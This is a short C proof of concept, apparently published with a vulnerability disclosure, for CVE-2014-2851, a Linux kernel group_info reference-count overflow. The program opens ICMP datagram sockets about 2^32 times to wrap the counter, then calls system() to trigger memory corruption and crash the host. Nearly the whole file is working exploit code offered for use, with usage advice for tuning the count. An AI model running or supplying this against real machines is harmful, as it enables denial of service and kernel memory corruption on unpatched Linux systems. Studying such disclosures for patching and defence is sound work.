/* * DoS poc for CVE-2014-2851 * Linux group_info refcounter overflow memory corruption * * https://lkml.org/lkml/2014/4/10/736 * * @Tohmaxx - http://thomaspollet.blogspot.be * * If the app doesn't crash your system, try a different count (argv[1]) * Execution takes a while because 2^32 socket() calls * */ #include #include #include int main(int argc, char *argv[]) { int i ; struct sockaddr_in saddr; unsigned count = (1UL<<32) - 20 ; if(argc >= 2){ // Specify count count = atoi(argv[1]); } printf("count 0x%x\n",count); for(i = 0 ; (unsigned)i < count;i++ ){ socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); if ( i % ( 1 << 22 ) == 0 ) printf("%i \n",i); } //Now make it wrap and crash: system("/bin/echo bye bye"); }